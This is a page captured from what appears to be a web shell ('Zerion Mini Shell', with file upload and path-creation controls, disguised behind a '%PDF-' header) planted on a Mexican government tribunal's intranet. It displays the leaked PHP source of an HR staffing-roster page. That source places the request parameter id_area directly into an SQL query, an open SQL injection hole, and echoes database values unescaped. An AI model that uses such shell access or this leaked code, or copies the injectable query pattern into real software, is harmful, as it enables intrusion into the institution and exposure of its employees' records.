%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/recursoshumanos/content_plantilla_area.php

<?php 
 $id_area1     = isset($_REQUEST['id_area']) ? $_REQUEST['id_area'] : 0;
 
 $qA = "1 = 1";
 if($id_area1 > 0)
     $qA = "id_area = $id_area1";
 
$conf = new Configuracion();
$conf->conectarBD();

 ?>
 <script type="text/javascript">
     $(document).ready(function() {
    $('#table_id').DataTable( {
        dom: 'Bfrtip',
        buttons: [
            'print'
        ]
    } );
} );
 </script>
<div class="page-content">
    <a href="../../page_home.php" class="btn btn-pink">Regresar <i class="fa fa-mail-reply"></i></a>
  <!--  <a href="reporte_plantilla.php" target="_blank" class="btn btn-pink">Imprimir <i class="fa fa-mail-reply"></i></a> -->
  <br>  <br>
    <div class="row">
        <?php
        if($error == 1){
        ?>
        <div class="row">
            <div class="col-md-2"></div>
            <div class="col-md-8">
                <div class="alert alert-danger">
                    <strong>Error!</strong> El número de empleado ya existe, por favor verifiquelo.
                </div>
            </div>
            <div class="col-md-2">
                
            </div>
        </div>
        <?php
        } else if($error == 2){
        ?>
        <div class="row">
            <div class="col-md-2"></div>
            <div class="col-md-8">
                <div class="alert alert-success">
                    <strong>Hecho!</strong> Se ha registrado correctamente el movimiento.
                </div>
            </div>
            <div class="col-md-2">
                
            </div>
        </div>
        <?php
        }
        ?>
        
 
        
        <div class="col-md-12">
            <div id="generalTabContent" class="tab-content">
                <div id="tab-messages" class="tab-pane fade in active">  
                    <div class="portlet box">
                        <div class="portlet-header">
                            <div class="caption">Plantilla del personal del TJAM </div>
                        </div>
                        <div class="portlet-body">
                            
                            
                                   <?php 
                                    if(1==-1){
                                        echo '<div class="panel-body">
                                                    <div class="demo-btn">
                                                        <div class="row mbm center">
                                                            <a href="page_add_personal_contrato.php?app=2" class="btn btn-success">Solicitar nuevo contrato
                                                        &nbsp;<i class="fa fa-plus"></i></a><br><br>
                                                        </div></div></div>
                                                        ';
                                                        
                                    }

                                   

                                    ?>
                                    
                                    
                                    <FORM>
                                    
                                             <div class="col-md-6">
                                                    <select class="form-control" name="id_area" onchange="this.form.submit()">
                                                        <option value="0">Ver todo</option>
                                                        <?php
                                                        $consulta12 = "SELECT a.id_area, a.area
                                                                    FROM  tjam_areas a where a.orden > 0 ORDER BY area ASC";
                                                        $rst12 = $conf->consulta($consulta12);

                                                        for ($i = 0; $i < count($rst12); $i++) {
                                                            if ($id_area1 == $rst12[$i]['id_area']) {
                                                                echo '<option selected value="' . $rst12[$i]['id_area'] . '">' . $rst12[$i]['area'] . '</option>';
                                                            } else {
                                                                echo '<option value="' . $rst12[$i]['id_area'] . '">' . $rst12[$i]['area'] . '</option>';
                                                            }
                                                        }
                                                        ?>
                                                    </select>
                                                </div>
</FORM>


                                    
                                                                      
                                              <!--  <div class="col-md-6">
                                                    <select class="form-control" name="id_area" onchange="this.form.submit()">
                                                        <option value="0" >Todos</option>
                                                        
                                                        <?php
                                                            if ($id_estatus == 0)
                                                                echo '<option selected value="0">Activo</option>';
                                                            if ($id_estatus == 1)
                                                                echo '<option selected value="1">Por renovar</option>';
                                                            if ($id_estatus == 2)
                                                                echo '<option selected value="2">Vencidos</option>';
                                                        ?>
                                                    </select>
                                                </div>  -->
                                    
                            <div class="row mbm">
                                <div class="col-lg-12">
                                    <div class="table-responsive">
                                        <table id="table_id" style="border-bottom:1px solid #ddd"
                                               class="table table-striped table-bordered table-hover">
                                            <!--<thead>
                                                <tr>
                                                    <th>#</th>
                                                    <th>Área</th>
                                                    <th>Puesto</th>
                                                    <th>Nombre</th>
                                                </tr>
                                            </thead>-->
                                            <tbody>
                                                <?php
                                                    $consulta = "SELECT a.orden, a.id_area, a.area FROM tjam_areas a WHERE $qA AND a.orden <> 0 ORDER BY a.orden";
                                                    $rst = $conf->consulta($consulta);
                                                     $total = 0;
                                                    for ($j = 0; $j < count($rst); $j++)
                                                    {
                                                        $id_area = $rst[$j]["id_area"];
                                                        echo "<tr>";
                                                            //echo "<td>".($j+1)."</td>";
                                                            echo "<td colspan='3'><strong>".$rst[$j]["area"]."</strong></td>";
                                                        echo "</tr>";
                                                           $consulta1 = "SELECT tpl.posicion_plaza,tpl.vacante,tpl.id_plaza, a.orden,a.id_area, a.area, p.id_puesto,e.id_plantilla, p.puesto, p.orden AS porden 
                                                           FROM 
                                                           tjam_plantilla e 
                                                           INNER JOIN tjam_areas a ON e.id_area = a.id_area 
                                                           INNER JOIN tjam_puestos p ON e.id_puesto = p.id_puesto 
                                                           INNER JOIN tjam_empleados_plazas tpl ON tpl.id_plantilla = e.id_plantilla
                                                           WHERE e.id_area = '$id_area'  ORDER BY tpl.orden ASC";
                                                            $rst1 = $conf->consulta($consulta1);    
                                                          
                                                            $id_contrato = '0';
                                                            for($i = 0; $i < count($rst1); $i++)
                                                            {
                                                                  $id_plantilla = $rst1[$i]["id_plantilla"];
                                                                  $id_plaza = $rst1[$i]["id_plaza"];
                                                                $id_puesto = $rst1[$i]["id_puesto"];
                                                                    $id_area = $rst1[$i]["id_area"];
                                                                    $vacante = $rst1[$i]["vacante"];
                                                                     $posicion_plaza = $rst1[$i]["posicion_plaza"];
                                                            $desvincular = 0;
                                                            $vacanteNombre = 'VACANTE';
                                                                $contrato = "SELECT e.plaza,ec.id_contrato,e.id,CONCAT(e.nombre,' ',e.apellido1, ' ',e.apellido2) as nombre,id_tipo_contrato,ec.fecha_inicio, ec.fecha_fin, TIMESTAMPDIFF(DAY,CURDATE(),ec.fecha_fin) as restan 
                                                                FROM tjam_empleados_contratos ec
                                                                JOIN tjam_empleados e ON (ec.id_empleado = e.id)
                                                                WHERE ec.habilitado=1 AND ec.id_puesto = $id_puesto AND ec.id_area = $id_area AND ec.id_plantilla = $id_plantilla AND 1 = $vacante AND ec.id_contrato NOT IN ($id_contrato)  ORDER BY ec.fecha_registro DESC LIMIT 1";
                                                                $rContrato = $conf->consulta($contrato);   
                                                                
                                                               $id_contratoID =  $rContrato[0]['id_contrato'];
                                                                        $id_personal = $rContrato[0]['id'];
                                                              
                                                                $id_contrato_tipo = $rContrato[0]['id_tipo_contrato'];
                                                                if(isset($rContrato[0]['id_contrato']))
                                                                    $id_contrato = $id_contrato.','.$rContrato[0]['id_contrato'];
                                                            
                                               
                                                                        
                                                                        
                                                            
                                                            
                                                            
                                                                $total++;
                                                                if($i == 0)
                                                                {
                                                                    
                                                                echo "<tr>";
                                                                    echo "<td># total</td>";
                                                                     echo "<td># área</td>";
                                                                      echo "<td>Plaza</td>";
                                                                    echo "<td>Puesto</td>";
                                                                    echo "<td>Empleado Actual</td>";
                                                                    
                                                                    echo "<td>Fecha de contrato</td>";
                                                                    echo "<td>Vencimiento</td>";
                                                                      echo "<td></td>";
                                                                echo '</tr>'; 
                                                                
                                                                
                                                                }
                                                                echo "<tr>";
                                                                
                                                                    echo "<td>".$total."</td>";
                                                                    echo "<td>".($i+1)."</td>";
                                                                    echo "<td>".$posicion_plaza."</td>";
                                                                    echo "<td>".$rst1[$i]["puesto"]."</td>";
                                                                    echo "<td>".$rContrato[0]["nombre"]."</td>";
                                                                    
                                                                    
                                                                    
                                                                    echo "<td>".$rContrato[0]["fecha_inicio"].' <br> '.$rContrato[0]["fecha_fin"]."</td>";
                                                                    
                                                                    
                                                                    
                                                                    if($id_contrato_tipo == 1 or !isset($rContrato[0]['id_tipo_contrato']))
                                                                    {
                                                                        if($rContrato[0]["restan"] > 10)
                                                                            echo '<td> <span class="label label-success">CONTRATO</span><br> ok</td>';
                                                                        else 
                                                                        {
                                                                            if( $rContrato[0]["restan"] >= 1 )
                                                                                echo '<td> <span class="label label-warning">Por renovar</span><BR> SIN SOLICITUD</td>';
                                                                            else 
                                                                            {
                                                                                $desvincular = 1;
                                                                                if($vacante == 1)
                                                                                    echo '<td> <span class="label label-danger">Vencido</span> <BR>SIN CONTRATO</td>';
                                                                                else
                                                                                    echo '<td> <span class="label label-danger">VACANTE</span> <BR></td>';
                                                                                
                                                                            }
                                                                        }
                                                                    }
                                                                    else
                                                                    {     
                                                                        if($rContrato[0]['id_tipo_contrato'] ==1)
                                                                         {   echo '<td> <span class="label label-success">CONTRATO</span><br> ok</td>';
                                                                         }
                                                                        if($rContrato[0]['id_tipo_contrato'] ==2)
                                                                            echo '<td> <span class="label label-success">NOMBRAMIENTO PLENO</span><br> ok</td>';
                                                                        if($rContrato[0]['id_tipo_contrato'] ==3)
                                                                            echo '<td> <span class="label label-success">NOMBRAMIENTO CONGRESO</span><br> ok</td>';
                                                                        if($rContrato[0]['id_tipo_contrato'] ==4)
                                                                            echo '<td> <span class="label label-success">CONCURSO DE OPOSICIÓN</span><br> ok</td>';
                                                                        
                                                                    }   
                                                                        
                                                                        
                                                                             echo '<td><div class="btn-group">
                                                                        <button data-toggle="dropdown" class="btn btn-sm dropdown-toggle btn-blue">
                                                                        <i class="fa fa-cog"></i> Opciones <span class="caret"></span>
                                                                        </button>
                                                                    <ul class="dropdown-menu pull-right">';
                                                            
                                                                 
                                                                    
                                                     
                                                                    
                                                                    
                                                                       echo '<li><a target="_blank" href="page_expediente.php?id_personal='.$id_personal.'" onclick="return confirm(\'Ir a realizar un movimiento?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Información de  '.$rContrato[0]["nombre"].'</a></li>';   
                                                                            
                                                                    echo '<li><a target="_blank"  href="page_movimientos_persona.php?id_personal='.$id_personal.'" onclick="return confirm(\'Ver historial de contratos\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Historial de movimientos de '.$rContrato[0]["nombre"].'</a></li>';
                                                                        
                                                                    echo '<li><a target="_blank"  href="page_movimientos_puesto.php?id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'" target="_blank" onclick="return confirm(\'Ver historial de movimientos\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Historial de movimientos del puesto '.$rst1[$i]["puesto"].' </a></li>';
                                                                   
                                                                   
                                                                       echo '<li><a target="_blank"  href="page_edit_personal_plazas.php?id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'&id_plaza='.$id_plaza.'" target="_blank" onclick="return confirm(\'Ver detalles de plaza\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Detalles de la plaza</a></li>';
                                                                    
                                                                    echo '<li><a href="page_edit_personal_contrato.php?id_plaza='.$id_plaza.'&id_contrato='.$id_contratoID.'&id_plantilla='.$id_plantilla.'&id_personal='.$id_personal.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'" onclick="return confirm(\'Confirmar la renovación de contrato, asignar plaza?\');">
                                                                        <i class="fa fa-group"></i><span class="divider-text"></span>Renovar contrato / asignar plaza</a></li>';
                                                                 
                                                                
                                                                    echo '<li><a target="_blank" href="../usuarios/page_fondo.php?id_personal='.$id_personal.'" onclick="return confirm(\'Visualizar fondo?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Visualizar fondo de '.$rContrato[0]["nombre"].'</a></li>';
                                                                        
                                                                
                                                                echo '<li><a target="_blank"  href="page_add_personal_pcgs.php?id_personal='.$id_personal.'&id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'&id_plaza='.$id_plaza.'" onclick="return confirm(\'Permiso Con Goce de Sueldo a empleado?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Permiso Con Goce de Sueldo </a></li>';          
                                                                        
                                                                                  
                                                                            
                                                                            
                                                                    echo '<li><a target="_blank"  href="page_add_personal_psgs.php?id_personal='.$id_personal.'&id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'&id_plaza='.$id_plaza.'" onclick="return confirm(\'Permiso Sin Goce de Sueldo a empleado?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Permiso Sin Goce de Sueldo </a></li>';          
                                                                        
                                                                                                                                            
                                           
                                                                            
                                                                   if($id_personal > 0)
                                                                { 
                                                                    echo '<li><a target="_blank"  href="desvincular_plaza.php?id_personal='.$id_personal.'&id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'&id_plaza='.$id_plaza.'" onclick="return confirm(\'Desvicular plaza / dejar vacante?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Desvicular plaza / dejar vacante </a></li>';
                                                                    
                                                                     echo '<li><a target="_blank"  href="page_baja_persona.php?id_personal='.$id_personal.'&id_plantilla='.$id_plantilla.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'&id_plaza='.$id_plaza.'" onclick="return confirm(\'Dar de baja a empleado?\');">
                                                                            <i class="fa fa-group"></i><span class="divider-text"></span>Dar de baja empleado </a></li>';
                                                                }
                                                                else
                                                                {
                                                                    echo '<li><a href="page_edit_personal_contrato.php?id_plaza='.$id_plaza.'&id_plantilla='.$id_plantilla.'&id_personal='.$id_personal.'&id_puesto='.$id_puesto.'&id_area='.$id_area.'" onclick="return confirm(\'Confirma vincular empleado para este puesto?\');">
                                                                        <i class="fa fa-group"></i><span class="divider-text"></span>Vincular un empleado a esta plaza</a></li>';
                                                                   
                                                                }
                                                                    
                                                                   
                                                                    echo    '</ul></div></td>';
                                                                        
                                                                        
                                                                    
                                                                echo '</tr>';                              
                                                            }
                                                    }
                                                    
                                                    $conf->desconectarDB();
                                                ?>
                                            </tbody>
                                        </table>
                                    </div>
                                </div>
                            </div>
                        </div>
               
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

Zerion Mini Shell 1.0